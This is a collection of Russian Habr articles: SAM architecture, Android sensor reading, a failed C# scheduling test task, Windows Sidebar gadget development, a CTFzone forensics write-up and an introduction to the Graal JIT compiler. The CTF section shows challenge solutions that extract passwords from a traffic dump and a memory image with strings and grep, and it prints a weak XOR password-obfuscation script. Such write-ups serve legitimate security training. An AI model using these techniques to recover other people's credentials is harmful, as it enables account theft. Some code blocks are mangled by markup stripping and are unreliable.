С другой стороны, если ваша машина состояний включает автоматические Action-ы, ни ваши Action-ы, ни ваш Model не будут чистыми без next-action предиката: либо некоторые Action-ы станут stateful, либо Model будет вызывать Action-ы, что не входит в ее задачи. Между прочим, и это неожиданно, объект состояния не содержит какое-либо “состояние”, это тоже чистая функция, которая рендерит View и вычисляет next-action предикат, делая и то и другое на основе значений свойств Model.
Ключевое преимущество это нового паттерна в том, что он четко отделяет CRUD операции от Action-ов. Model сам отвечает за свой persistence, который будет реализован при помощи CRUD операций, недоступных из View. В частности, View никогда не будет находиться в положении для “извлечения” данных. Единственное, что View может делать это запрашивать текущий state representation системы и инициировать reactive flow за счет вызова действий.
Action-ы представляют собой всего лишь канал для внесения изменений в Model. Они, сами по себе, не имеют side effect-а (для Model). Когда необходимо, Action-ы могут вызывать сторонние API (еще раз, без side effect для Model). Например, действие по изменению адреса может вызвать сервис для его проверки и передать в Model адрес, возвращенный данным сервисом.
Вот как действие “Смена Адреса”, вызывающее API для проверки адреса, будет реализовано:
Рис. 7. Реализация действия “Смена Адреса”
Составные элементы паттерна, Action-ы и Model-ы, могут быть составлены (composed) свободно:
Композиция на основе функций:
```
data’ = A(B(data))
```
Одноуровневая композиция (один и тот же набор данных передается двум моделям):
```
M1.present(data’)
M2.present(data’)
```
Композиция “Родительский-дочерний” (родительский Model управляет набором данных, передаваемым дочернему):
```
M1.present(data’,M2)
function present(data, child) {
// perform updates
…
// synch models
child.present(c(data))
}
```
Композиция посредством Publish/Subscribe:
```
M1.on(“topic”, present )
M2.on(“topic”, present )
```
Или
```
M1.on(“data”, present )
M2.on(“data”, present )
```
Для архитекторов, которые мыслят в терминах Систем Записей и Систем Участия (прочитать что это такое можно [здесь](http://www.osp.ru/os/2014/03/13040804/) — прим. переводчика) данный паттерн помогает определить интерфейс между двумя слоями (рис. 8) с Model, отвечающим за все взаимодействия с Системой Записей.
Рис. 8. Модель композиции SAM.
Паттерн composable сам по себе и вы можете реализовать экземпляр SAM запускающийся в браузере для поддержки поведения в стиле wizard-ов (к примеру, [ToDo application](https://egghead.io/lessons/javascript-redux-react-todo-list-example-adding-a-todo)), взаимодействующий с экземпляром SAM на сервере:
Рис. 9. Композиция экземпляров SAM.
Пожалуйста, обратите внимание, что внутренний экземпляр SAM представлен как часть state representation, сгенерированного внешним экземпляром SAM.
Восстановление сессии должно предшествовать срабатыванию Action-a (рис. 10). SAM делает возможной интересную композицию, когда View может вызывать сторонний Action, предоставляющее токен и callback, указывающий на Action системы, который авторизует и верифицирует вызов, перед тем как предоставлять данные для Model.
Рис. 10. Управление сессиями в SAM.
[С точки зрения CQRS](https://lostechies.com/gabrielschenker/2015/04/07/cqrs-revisited/), паттерн не делает каких-либо различий между запросами и командами, хотя нижележащая реализация и требует делать это различие. Action поиска или запроса данных просто передает набор параметров в Model. Мы можем перенять конвенцию (к примеру, префикс в виде нижнего подчеркивания) для отделения запросов от команд, или мы можем использовать два отдельных способа представления в Model.
```
{ _name : ‘/^[a]$/i’ } // Names that start with A or a
{ _customerId: ‘123’ } // customer with id = 123
```
Model может выполнять необходимые операции для сопоставления с запросом, обновлять свое содержимое и инициировать рендеринг View. Схожий набор конвенций может быть использован для создания, обновления или удаления элементов Model. Есть целый ряд способов которые могут быть реализованы для передачи результата работы Action-ов в Model (data sets, events, actions). У каждого подхода есть свои достоинства и недостатки и, в конечном счете, подход может определяться исходя из предпочтений. Я предпочитаю подход с использованием data sets.
С точки зрения исключений (exceptions), так же как и в React, ожидается, что Model будет содержать информацию о соответствующем исключении как значения свойств (будь то исключение от Action или возвращенное CRUD-операцией). Данные значения будут использованы при рендере state representation чтобы отобразить исключение.
С точки зрения кэширования, SAM позволяет выполнять его на уровне state representation. Ожидаемо, кэширование результатов этих функций state representation должно привести к более высокому hit rate, раз мы теперь инициируем кэширование на уровне компонента/состояния вместо уровня Action/Response.
Реактивная и функциональная структура паттерна делает легким воспроизведение и unit-тестирование.
Паттерн SAM полностью меняет парадигму front-end архитектуры, поскольку, основываясь на TLA+, бизнес-логика может быть четко разделена на:
* Action-ы как чистые функции
* CRUD-операции в Model
* Состояния, которые управляют автоматическими Action-ами
С моей точки зрения, как разработчика API, паттерн сдвигает ответственность за проектирование API обратно на сервер, с минимально возможным контрактом между View и Model.
Action-ы, как чистые функции, могут быть повторно использованы между моделями если Model принимает возвращаемый результат от Action. Мы можем ожидать, что библиотеки Action-ов, темы (state representation) и, возможно, библиотеки Model-ов будут расцветать, раз они теперь композируются независимо.
С SAM микросервисы естественным образом помещаются за Model. Фреймворки наподобие [Hivepod.io](http://hivepod.io/) могут быть подключены на этом уровне, по-большому счету, as-is.
Что наиболее важно, данный паттерн, подобно React, не требует какого-либо data binding или шаблонов.
Я ожидаю, что со временем SAM поспособствует тому, что virtual-dom будет повсеместно реализован в браузерах и новые state representation будут напрямую обрабатываться через соответствующее API.
Я нахожу данное исследование преобразующим: времена существовавшего десятилетия подхода Object Orientation похоже, почти прошли. Я не могу больше мыслить в терминах иных чем реактивный или функциональный. Те вещи, которые я реализовал с помощью SAM и скорость, с которой я могу их реализовать, беспрецендентны. И еще один момент. Я теперь могу сосредоточиться на проектировании API и сервисов, которые не следуют паттерну “screen scrapping”.
Я хочу поблагодарить и выразить признательность людям, которые любезно согласились проверить эту статью: Prof. Jean Bezivin, Prof. Joëlle Coutaz, Braulio Diez, Adron Hall, Edwin Khodabackchian, Guillaume Laforge, Pedro Molina, Arnon Rotem-Gal-Oz.
Об авторе:
[Жан-Жак Дюбре](http://www.ebpml.org/about) является основателем [xgen.io](http://xgen.io/) и [gliiph](http://gliiph.com/). Он занимается созданием Service Oriented Architectures и платформ API последние 15 лет. Является бывшим членом исследовательской команды в [HRL](http://hrl.com/) и получил докторскую степень в University of Provence (Luminy campus) (ныне Aix-Marseille University — прим. переводчика), доме языка Prolog. Изобретатель методологии [BOLT](http://www.xgenio.com/bolt-introduction.pdf). | https://habr.com/ru/post/277113/ | null | ru | null |
# Собираем показания датчиков с Android смартфона
В своем первом посте на Хабре я бы хотел рассказать о том, как получать данные датчиков в ОС Android, а конкретно — угол наклона вашего аппарата во всех трех плоскостях. Заинтересовавшихся прошу под кат.
Датчики ОС Android делятся на три категории: движения, положения и окружающей среды. Датчики эти могут быть самыми разными:
* Акселерометр
* Гироскоп
* Датчик освещения
* Датчик магнитных полей
* Акселерометр
* Барометр
* Датчик поднесения телефона к голове
* Датчик температуры аппарата
* Датчик температуры окр. среды
* Измеритель относительной влажности
* И т.д.
Естественно, их набор зависит от «комплектации» аппарата, но есть и датчики, присутствующие в большинстве смартфонов на Android — акселерометр и гироскоп.
Посредством этих датчиков мы можем узнать положение телефона в пространстве, а именно углы наклона аппарата во всех трех плоскостях (XY, YZ, ZX). Этим мы и займемся!
Для начала создадим новый проект и накидаем простенькое отображение с тремя надписями для вывода показаний датчиков и соответствующими подписями к ним. У меня получилось что-то вроде этого:
```
xml version="1.0" encoding="utf-8"?
/>
```
В главной активити объявление класса приведем к виду:
```
public class Main extends Activity implements SensorEventListener {
```
Класс SensorEventListener поможет нам отследить события на датчиках.
У вас должно появиться четыре обязательных метода:
```
@Override
public void onAccuracyChanged(Sensor sensor, int accuracy) { //Изменение точности показаний датчика
}
@Override
protected void onResume() {
}
@Override
protected void onPause() {
}
@Override
public void onSensorChanged(SensorEvent event) { //Изменение показаний датчиков
}
```
Как вы уже наверное догадались, нас вскоре заинтересует последний метод. А пока объявим необходимые нам переменные:
```
private SensorManager mSensorManager;
private Sensor mOrientation;
private float xy_angle;
private float xz_angle;
private float zy_angle;
private TextView xyView;
private TextView xzView;
private TextView zyView;
```
Первая переменная — менеджер сенсоров устройства. Именно она даст нам доступ к интересующему нас датчику. Для этого событие onCreate сделаем похожим на это:
```
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
mSensorManager = (SensorManager) getSystemService(Context.SENSOR_SERVICE); // Получаем менеджер сенсоров
mOrientation = mSensorManager.getDefaultSensor(Sensor.TYPE_ORIENTATION); // Получаем датчик положения
xyView = (TextView) findViewById(R.id.xyValue); //
xzView = (TextView) findViewById(R.id.xzValue); // Наши текстовые поля для вывода показаний
zyView = (TextView) findViewById(R.id.zyValue); //
}
```
Ну вот, почти закончили! Осталось только получить значения и вывести в текстовые поля. Вспомним про событие onSensorChanged. Если помните в него передается параметр SensorEvent event. Он-то и содержит значения углов наклона в градусах. Поэтому делаем финальный штрих и приводим событие к виду:
```
public void onSensorChanged(SensorEvent event) {
xy_angle = event.values[0]; //Плоскость XY
xz_angle = event.values[1]; //Плоскость XZ
zy_angle = event.values[2]; //Плоскость ZY
xyView.setText(String.valueOf(xy_angle));
xzView.setText(String.valueOf(xz_angle));
zyView.setText(String.valueOf(zy_angle));
}
```
Все готово! Думаю, понятно, что виртуальный смартфон вы повертеть не сможете. Поэтому для тестирования вам понадобится реальный аппарат. Запускаем, вертим наш смартфон и следим за цифрами.
Если кому-то понадобится, то выкладываю [apk](http://narod.ru/disk/39670950001/AndroidSensors.apk.html) сделаный по примеру.
Надеюсь, пост оказался полезным и понятным для вас!
UPD: Как оказалось, можно [протестировать и в эмуляторе](http://code.google.com/p/openintents/wiki/SensorSimulator). Спасибо [BlackStream](https://habrahabr.ru/users/blackstream/) за ссылку! | https://habr.com/ru/post/137678/ | null | ru | null |
# История одного фееричного провала тестового задания на C#
Просидев на одном предприятии несколько лет, я решил поискать альтернативы. Специально не привожу детали по моей должности, квалификации и стажу, чтобы не создавать предвзятое впечатление и не влиять на объективность оценки выполнения тестового задания. По моему профилю вакансий оказалось довольно много. Откликнулся на первую попавшуюся вакансию очень близко к дому. Перезвонили в течении нескольких часов, обрисовали буквально в двух словах чем занимается контора (обмен данными между системами разных уровней) и предложили сделать тестовое задание. Выполнив задание примерно за сутки, я его отправил и через пару часов получил ответ: «задание Вы выполнили действительно отвратительно, халтурно» и отказ от дальнейших комментариев. По месту своей основной работы я много раз выполнял очень разные задания от очень разных людей, но такого ответа никогда не было даже близко. Что же тут произошло?
Поскольку я не принимал никаких обязательств по неразглашению, привожу задание полностью. Обратите внимание, никаких дополнительных сведений не предоставлено!
> Во вложение класс C#, который предлагается реализовать. Описание методов - в xml-комментах. Обращаю Ваше внимание, что класс должен быть эффективным и не использовать много памяти и ресурсов даже тогда, когда в расписании задано много значений. Например очень много значений с шагом в одну миллисекунду.
>
>
Вложенный в задание файл schedule.cs
```
using System;
namespace Test
{
///
/// Класс для задания и расчета времени по расписанию.
///
public class Schedule
{
///
/// Создает пустой экземпляр, который будет соответствовать
/// расписанию типа "\*.\*.\* \* \*:\*:\*.\*" (раз в 1 мс).
///
public Schedule()
{
}
///
/// Создает экземпляр из строки с представлением расписания.
///
/// Строка расписания.
/// Формат строки:
/// yyyy.MM.dd w HH:mm:ss.fff
/// yyyy.MM.dd HH:mm:ss.fff
/// HH:mm:ss.fff
/// yyyy.MM.dd w HH:mm:ss
/// yyyy.MM.dd HH:mm:ss
/// HH:mm:ss
/// Где yyyy - год (2000-2100)
/// MM - месяц (1-12)
/// dd - число месяца (1-31 или 32). 32 означает последнее число месяца
/// w - день недели (0-6). 0 - воскресенье, 6 - суббота
/// HH - часы (0-23)
/// mm - минуты (0-59)
/// ss - секунды (0-59)
/// fff - миллисекунды (0-999). Если не указаны, то 0
/// Каждую часть даты/времени можно задавать в виде списков и диапазонов.
/// Например:
/// 1,2,3-5,10-20/3
/// означает список 1,2,3,4,5,10,13,16,19
/// Дробью задается шаг в списке.
/// Звездочка означает любое возможное значение.
/// Например (для часов):
/// */4
/// означает 0,4,8,12,16,20
/// Вместо списка чисел месяца можно указать 32. Это означает последнее
/// число любого месяца.
/// Пример:
/// *.9.*/2 1-5 10:00:00.000
/// означает 10:00 во все дни с пн. по пт. по нечетным числам в сентябре
/// *:00:00
/// означает начало любого часа
/// *.*.01 01:30:00
/// означает 01:30 по первым числам каждого месяца
///
public Schedule(string scheduleString)
{
}
///
/// Возвращает следующий ближайший к заданному времени момент в расписании или
/// само заданное время, если оно есть в расписании.
///
/// Заданное время
/// Ближайший момент времени в расписании
public DateTime NearestEvent(DateTime t1)
{
}
///
/// Возвращает предыдущий ближайший к заданному времени момент в расписании или
/// само заданное время, если оно есть в расписании.
///
/// Заданное время
/// Ближайший момент времени в расписании
public DateTime NearestPrevEvent(DateTime t1)
{
}
///
/// Возвращает следующий момент времени в расписании.
///
/// Время, от которого нужно отступить
/// Следующий момент времени в расписании
public DateTime NextEvent(DateTime t1)
{
}
///
/// Возвращает предыдущий момент времени в расписании.
///
/// Время, от которого нужно отступить
/// Предыдущий момент времени в расписании
public DateTime PrevEvent(DateTime t1)
{
}
}
}
```
Если коротко, то предлагается реализовать парсинг строки, определяющей расписание событий, а также пару методов получения времени события, ближайшего к указанному времени.
Меня сразу насторожило неконкретное требование «класс должен быть эффективным и не использовать много памяти и ресурсов», ведь понятия «эффективно» и «много» каждый понимает по-своему. Чтобы грубо не нарушать эти требования, я решил сразу отметать плохо зарекомендовавшие себя в плане эффективности практики типа регулярных выражений и частого выделения объектов в «куче» (heap) чтобы не нагружать сборщик мусора. А также предусмотреть потенциальные пути оптимизации на случай если нужно будет улучшать быстродействие или уменьшать выделяемую память. Добиваться каких то экстремальных показателей в плане оптимизации нет смысла, потому что это приведёт к снижению такого важного показателя как поддерживаемость кода, а будет ли от этого польза — непонятно, поскольку неизвестны условия эксплуатации. На случай будущего сравнения разных оптимизаций, сразу добавил в проект бенчмарки.
Главное, на чём я решил сосредоточиться при выполнении задания — аккуратность обращения с календарём. Ведь, как известно, наш [Григорианский календарь](https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B8%D0%B3%D0%BE%D1%80%D0%B8%D0%B0%D0%BD%D1%81%D0%BA%D0%B8%D0%B9_%D0%BA%D0%B0%D0%BB%D0%B5%D0%BD%D0%B4%D0%B0%D1%80%D1%8C) является нерегулярным. Все знают, что не каждый год содержит 365 дней и не каждый месяц содержит 31 день. В дополнение к этому, [не каждая минута содержит 60 секунд](https://ru.wikipedia.org/wiki/%D0%94%D0%BE%D0%BF%D0%BE%D0%BB%D0%BD%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D1%81%D0%B5%D0%BA%D1%83%D0%BD%D0%B4%D0%B0). Не говоря уже о введениях/отменах перехода на зимнее время. Поэтому сразу было решено отказаться от арифметических операций с временами и датами и использовать для этого только библиотечные методы в классах DateTime или DateTimeOffset.
Первым делом написал модульные тесты используя примеры, указанные заказчиком. Также добавил от себя несколько тестов по граничным значениям. Хотя сделать тесты мог бы и сам заказчик для экономии времени на тестирование кандидатов.
Перебирая возможные способы реализации, понял, что это можно делать очень долго. Учитывая объём функциональности класса в сравнении с объёмом моих типичных проектов, решил ограничить себя одним рабочим днём. В результате появилось приемлемое решение, которое не является ни экстремально плохим, ни экстремально хорошим по эффективности. Зато ~~легко для понимая кода и (~~как было замечено комментирующими, не так уж легко, но выводы можно будет делать только когда будет предложена другая реализация) содержит простор для дальнейшей оптимизации. Для всех имеющихся циклов было оценено количество максимально возможных итераций, а также количество итераций при типичном использовании. Выделение памяти из «кучи» присутствует только при создании объекта. В методах создаются только объекты-значения, которые располагаются в стэке и бесследно исчезают при завершении метода.
Моё решение [размещено на гитхабе](https://github.com/novar0/TestApp) в виде проекта Visual Studio. Я не понимаю, почему я получил оценку «отвратительно, халтурно»! И неужели сейчас принято так оценивать задания: не говорить в чём проблема, не давать направлений для дальнейшего совершенствования специалиста? Я показал проект уважаемому коллеге, он указал только на те недостатки, которые я и сам вижу и это не объясняет низкой оценки. Уважаемые специалисты, объясните, что не так с моим тестовым заданием?
Огромное спасибо всем комментаторам, вы прояснили многое. Поскольку многие указали, что надо было уточнять детали у заказчика, поясняю: я пытался, но меня принципиально не хотели соединять со специалистами, со мной общался только HR.
Суммирую, что произошло с моим тестовым заданием. Априори исключаю обман и некомпетентность самого заказчика, это отдельная тема.
1. У меня выявилась определённая проф.деформация. Я годами работал в исследовательском подразделении, где код надо писать быстро, потом использовать его в реальных условиях у заказчика, а потом по результатам использования он может вообще не понадобится. Переход в продакшн использовался рудиментарный. Заказчик относился лояльно и даже порой требовал, чтобы как то заработало побыстрее, хоть и с недочётами. Код поддерживал только один человек — его автор. Это не значит, что я писал плохой код. Но, конечно, к некоторым из правил, применяемых в серьёзных фирмах по разработке софта, я просто не стремился.
2. Я неверно оценил чего от меня ожидает заказчик. Я оценивал буквально, по фразам в задании. Соответственно, предположил, что в приоритете — высокая оптимизация по скорости и памяти. Как заметили тут в комментариях, скорее всего ожидалось лишь «избегать лишних созданий коллекций, ставить Capacity по возможности и не конкатенировать строки в цикле».
3. Я недостаточно обосновал принятые решения, такие как отказ от регулярок и парсинг числа кустарным методом. Собственно, для меня образцом всегда был и остаётся код самого .Net. И такие решения я смотрю именно там. Наверное, надо было написать в комментариях побольше обоснований и возможных альтернатив.
4. Основная претензия к моему решению. «Код плохо читаемый из за множества вложенных If, я такое тоже не люблю и на проектах стараюсь избегать если можно без них». Я не думал, что количество вложений if считается таким уж страшным злом если строки короткие и понятные. Я добивался цели удобно увидеть алгоритм целиком на одном экране. Для сравнения можете посмотреть метод [GetTimeAfter(), который делает примерно тоже самое в библиотеке Quartz](https://github.com/quartznet/quartznet/blob/main/src/Quartz/CronExpression.cs). У них максимально 7 отступов, у меня — 11 потому что добавляются доли секунды. Но их код размазан на много экранов и понять алгоритм очень трудно.
5. Единственный однозначный мой недочёт — не объединил два похожих метода в один с дополнительным параметром. | https://habr.com/ru/post/571342/ | null | ru | null |
# Разрабатываем свой Sidebar Gadget
Как часто вы пользуетесь гаджетами боковой панели Windows? А хотелось бы написать свой? Не простой гаджет «Hello World», а действительно полезный, который помог бы оптимизировать затраты времени на определенный кусок работы. Тогда давайте рассмотрим случай, когда вам нужно мониторить нагрузку 10-20 серверов.
Моя профессиональная деятельность связана с разработкой VoD сервисов. Приходящие от кинокомпаний фильмы в формате MPEG2 сервис перекодирует в нужные форматы. Для кодирования используются 20 серверов. Нагрузка на сервер мониторится не по загруженности процессора, а исходя из количества задач, которые были поставлены на сервер. Данная информация хранится и постоянно обновляется в базе данных. В любом случае у вас должен быть server side скрипт и веб-сервер, который будет отдавать результат гаджету.
Следить за постоянной нагрузкой серверов и сбоями можно напрямую через запрос в базу или модуль административной зоны проекта. Оба варианта не дают оперативно и удобно реализовать сам процесс. Выход есть – написать свой Windows Sidebar Gadget, который будет трудолюбиво, самостоятельно вести мониторинг серверов и уведомлять о любых простоях и неполадках.
### Сестра, скальпель
Гаджет – это обыкновенный zip-файл, который внутри себя хранит нужную информацию для развертывания. Сам гаджет – это набор HTML, CSS, JavaScript файлов, изображений и т.д.
Гаджет состоит из нескольких файлов с условными названиями:
* gadget.xml – манифест, который описывает гаджет: название, автора, версию, права, и т.д. Единственный файл, который должен иметь именно такое имя
* основное окно гаджета
* Flyout — дополнительное окно позволяющая расширить интерфейс гаджета
* Settings – окно для сохранения параметров гаджета
Для управления поведением, видом гаджета,, хранения данных используется специальный объект System.Gadget.
### gadget.xml
Мы укажем в манифесте минимально нужную информацию.
> `</fontxml version="1.0" encoding="utf-8" ?>
>
> <gadget>
>
> <name>DivX Server Monitorname>
>
> <version>2.0version>
>
> <author name="Евгений Жарков">
>
> <info url="jeje.habrahabr.ru" />
>
> author>
>
> <hosts>
>
> <host name="sidebar">
>
> <base type="HTML" apiVersion="1.0.0" src="gadget.html" />
>
> <permissions>fullpermissions>
>
> <platform minPlatformVersion="0.3" />
>
> host>
>
> hosts>
>
> gadget>`
Обратите внимание на строчку, в которой мы указываем гаджету, какой использовать html файл для основного окна.
> `<base type="HTML" apiVersion="1.0.0" src="gadget.html" />`
Детальнее с описанием манифеста можно ознакомится в [MSDN](http://msdn.microsoft.com/en-us/library/aa965879%28VS.85%29.aspx).
### Основное окно
Разметка основного окна ничем не отличается от разметки любой другой веб-страницы. Вдобавок нам предоставляют несколько исключительно гаджетовских тегов. Для задания фона гаджета, используется тег g:background. Любое содержимое, размещенное в данном элементе будет фоновым для всего основного окна.
> `<g:background id="background" style="position:absolute;z-index:-1;top:0;left:0;" opacity="0">g:background>`
Я не стал делать задний фон гаджету, с помощью параметра opacity=«0» фон стал абсолютно прозрачным.
Тело страницы довольно простое верхний div служит для отображения статуса гаджета, позволяет увидеть, сколько минут осталось до обновления данных, а также поддерживает ручное обновление. Нижний div будет содержать в себе список серверов.
> `<div id="status"><a href="javascript:void(0)" id="statusLink">Loading...a>div>
>
> <div id="content">
>
> <ul id="serverList">ul>
>
> div>`
Все стили, JavaScript вынесены во внешние файлы. Для удобства была подключена библиотека jQuery. Целиком разметка основного окна крохотная.
> `<html>
>
> <head>
>
> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
>
> <link rel="stylesheet" type="text/css" href="./style/gadget.css" />
>
> <script type="text/javascript" src="./js/jquery-1.3.2.min.js">script>` | https://habr.com/ru/post/71958/ | null | ru | null |
# CTFzone write-ups – First comes Forensics
Прошло несколько дней после окончания CTFzone от компании BI.ZONE, а наши смартфоны до сих пор разрываются от уведомлений Telegram – чат с участниками битвы после конференции стал еще более оживленным. По отзывам игроков, многие задания CTFzone были очень нестандартными и действительно непростыми. Во время соревнования мы пообещали участникам, что, как только наши разработчики отоспятся и придут в себя, мы выложим райтапы для всех заданий в нашем блоге.
Начнем мы с направления Forensics, и в этой статье представляем вам решения на все таски – от задания на 50 до 1000. Мы знаем, что [hackzard](https://habrahabr.ru/users/hackzard/) опередил нас и уже выложил райтапы к заданиям на 50 и 100, но с более крутыми тасками будет сложнее ;)
**#### Forensics 50 — PCAP master**
> ***A.U.R.O.R.A.:** Lieutenant, how do you read me? You’ve intercepted the traffic between the command server and the pilot’s computer. Try to get the password from this traffic.*
**Решение:**
В этом задании участнику предоставлялся PCAP дамп трафика.
Как вы уже поняли, задание было очень простым, и его можно было решить в одну строку:
Команда:
```
strings -t x task_forensics_50.pcap | grep "pass"
```
Результат:
```
7e6 GET /?pass=ctfzone{b1@ckduck} HTTP/1.1
```
**Ответ:** *ctfzone{b1@ckduck}*
**#### Forensics 100 — Master of Strings**
> ***A.U.R.O.R.A.:** Rise and shine, Lieutenant, stop dreaming of drinking vodka and playing with the bear. A.U.R.O.R.A. is speaking and it’s time you stopped sleeping at your workplace. You can’t idle your time anymore as the whole world might go down the drain unless, well… Let's say it’s time you are back in the game. The right man in the wrong place can change the world. So wake up, Lieutenant, find a password for the Spaceship panel and join the forces on Earth!*
Участнику предоставляется образ оперативной памяти, который был снят в момент входа в контрольную панель управления космическим кораблем:
**Решение:**
В первую очередь необходимо было извлечь все строки, которые содержат «pass=».
Команда:
```
strings -t x task_forensics_100.ram | grep --color "pass="
```
Результат:
**Скрытый текст**
```
94e1fa0 trovich&pass=LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3D
1082e5c5
127c5776 pass="specialize"/>
155c83e8 login=Petrovich&pass=LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3D
155c8828 login=Petrovich&pass=LhUBEwwlAAJZIhQmGwYYAAF5MA%3D%3D
194c7e58 strings -t x task\_forensics\_100.ram | grep --color ""
```
Результат:
```
12f8240
9bff780
16934d20
1b8ff4bd
1bc5c2c8
1ed8f145
```
Если обратиться по смещению «12f8240», то можно обнаружить html-страничку:
**Скрытый текст**
```
Spaceship Panel
body {
background-color: #2A191E;
background-image: url(bd.png);
background-repeat: no-repeat;
background-size: 100%;
}
form {
width: 300px;
margin: 0 auto;
}
function Magic(beard,water) {
var ord = []
var buf = ""
for (z = 1; z <= 255; z++) {ord[String.fromCharCode(z)] = z}
for (j = z = 0; z < beard.length; z++) {
buf += String.fromCharCode(ord[beard.substr(z, 1)] ^ ord[water.substr(j, 1)])
j = (j < water.length) ? j + 1 : 0} return buf }
function b64EncodeUnicode(str) {
return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {
return String.fromCharCode('0x' + p1);}));}
function doLogin(){
$a = document.myform.pass.value;
document.myform.pass.value = b64EncodeUnicode(Magic($a,"MagicKey"));
document.myform.submit(); }
``` | https://habr.com/ru/post/315954/ | null | ru | null |
# [Перевод] Как работает Graal — JIT-компилятор JVM на Java
Привет, Хабр! Представляю вашему вниманию перевод статьи "[Understanding How Graal Works — a Java JIT Compiler Written in Java](https://chrisseaton.com/truffleruby/jokerconf17/)".
Введение
--------
Одной из причин по которой я стал исследователем языков программирования является то, что, в большом сообществе людей связанных с компьютерными технологиями, почти все используют языки программирования, и многие интересуются тем как они работают. Когда я впервые столкнулся с программированием, будучи ребенком, и познакомился с языком программирования, первым, о чем я хотел узнать, было то как это работает, и самым первым, что мне хотелось сделать, было создание собственного языка.
В этом выступлении я покажу некоторые механизмы работы используемого всеми вами языка — Java. Особенностью является то, что я буду использовать проект под названием *Graal*, который реализует концепцию *Java на Java*.
Graal является только одной из составляющих в работе Java — это *just-in-time* компилятор. Это та часть JVM, которая преобразует байткод Java в машинный код в ходе работы программы, и является одним из факторов обеспечивающих высокую производительность платформы. Также это, как мне кажется, то, что большинство людей считают одной из наиболее сложных и туманных частей JVM, которая находится вне рамок их понимания. Изменить это мнение является целью данного выступления.
Если вы знаете, что такое JVM; в целом понимаете, что означают термины *байткод* и *машинный код*; и способны читать код написанный на Java, то, я надеюсь, этого будет достаточно, чтобы понять излагаемый материал.
Я начну с обсуждения того почему мы можем хотеть новый JIT-компилятор для JVM написанный на Java, а после покажу, что в этом нет чего-то сверх особенного, как вы могли бы думать, разбив задачу на сборку компилятора, использование, и демонстрацию того, что его код является таким же как и в любом другом приложении.
Я совсем немного затрону теорию, и потом покажу как она применяется в ходе всего процесса компиляции от байткода до машинного кода. Еще я покажу некоторые детали, и в конце мы поговорим о пользе данной возможности помимо реализации *Java на Java* ради её самой.
Я буду использовать скриншоты кода в Eclipse, вместо их запуска в ходе презентации, чтобы избежать неминуемых проблем live-кодинга.
Что такое JIT-компилятор?
-------------------------
Я уверен, что многие из вас знают что такое JIT-компилятор, но все-таки коснусь основ чтобы никто не сидел тут боясь задать этот главный вопрос.
Когда вы запускаете команду `javac` или *compile-on-save* в IDE, ваша программа на Java компилируется из Java-кода в байткод JVM, который является бинарным представлением программы. Он более компактен и прост, чем исходный Java-код. Однако, обычный процессор вашего ноутбука или сервера не может просто так выполнить байткод JVM.
Для работы вашей программы JVM интерпретирует этот байткод. Интерпретаторы, обычно, значительно медленнее, чем машинный код запускаемый на процессоре. По этой причине JVM, во время работы программы, может запустить еще один компилятор, который преобразует ваш байткод в машинный код, выполнить который процессор уже в состоянии.
Этот компилятор, обычно, намного более изощрённый, чем `javac`, выполняет сложные оптимизации чтобы в результате выдать высококачественный машинный код.
Зачем писать JIT-компилятор на Java?
------------------------------------
На сегодняшний день реализация JVM под названием *OpenJDK* включает два основных JIT-компилятора. Клиентский компилятор, известный как *C1*, спроектирован для более быстрой работы, но, при этом, выдает менее оптимизированный код. Серверный компилятор, известный как *opto* или *C2*, требует несколько больше времени на работу, но выдает более оптимизированный код.
Идея заключалась в том, что клиентский компилятор лучше подходил для настольных приложений, где нежелательны длительные паузы JIT-компилятора, а серверный — для долгоиграющих серверных приложений в которых позволительно потратить больше времени на компиляцию.
На сегодня они могут быть совмещены, чтобы код сперва компилировался C1, и после, если он продолжает интенсивно выполняться и имеет смысл затратить дополнительное время, — C2. Это называется *ступенчатой компиляцией* (*tiered compilation*).
Давайте остановимся на C2 — серверном компиляторе, который выполняет больше оптимизаций.
Мы можем склонировать OpenJDK с зеркала на *GitHub*, или просто открыть дерево проекта на сайте.
```
$ git clone https://github.com/dmlloyd/openjdk.git
```
Код C2 находится в *openjdk/hotspot/src/share/vm/opto*.
Прежде всего стоит отметить, что C2 написан на *C++*. Конечно, в этом нет чего-то плохого, но есть определенные недостатки. С++ — небезопасный язык. Это означает, что ошибки в C++ могут привести к краху VM. Возможно, что причиной тому возраст кода, но код C2 на C++ стало очень трудно поддерживать и развивать.
Одна из ключевых фигур, стоящих за компилятором C2, Cliff Click сказал, что никогда бы больше не стал писать VM опять на C++, и мы слышали как JVM-команда *Twitter* высказывала мнение о том, что C2 пришел в застойное состояние и требует замены по причине трудности дальнейшей разработки.
<https://www.youtube.com/watch?v=Hqw57GJSrac>
Итак, возвращаясь к вопросу, что такого есть в Java, что может помочь решить эти проблемы? Тоже самое, что дает написание программы на Java вместо C++. Это, вероятно, безопасность (исключения вместо крахов, отсутствие реальной утечки памяти или висячих указателей), хорошие вспомогательные средства (отладчики, профилировщики, и инструменты вроде *VisualVM*), хорошая поддержка IDE и т.д.
Вы могли бы подумать: *Как можно написать что-то вроде JIT-компилятора на Java?*, и что это возможно только на низкоуровневом языке системного программирования, таком как C++. В этом выступлении я надеюсь убедить вас, что это совсем не так! По существу, JIT-компилятор должен просто принять байткод JVM и выдать машинный код — вы даете ему `byte[]` на входе, и назад также хотите получить `byte[]`. Требуется выполнить много сложной работы, чтобы это осуществить, но она никак не затрагивает системный уровень, и поэтому не требует *системного* языка, такого как C или C++.
Настройка Graal
---------------
Первое, что нам понадобится, — это Java 9. Используемый Graal интерфейс под названием *JVMCI* был добавлен в Java в рамках *JEP 243 Java-Level JVM Compiler Interface* и первой версией, его включающей, является Java 9. Я использую *9+181*. В случае каких-то особенных требований имеются порты (backports) для Java 8.
```
$ export JAVA_HOME=`pwd`/jdk9
$ export PATH=$JAVA_HOME/bin:$PATH
$ java -version
java version "9"
Java(TM) SE Runtime Environment (build 9+181)
Java HotSpot(TM) 64-Bit Server VM (build 9+181, mixed mode)
```
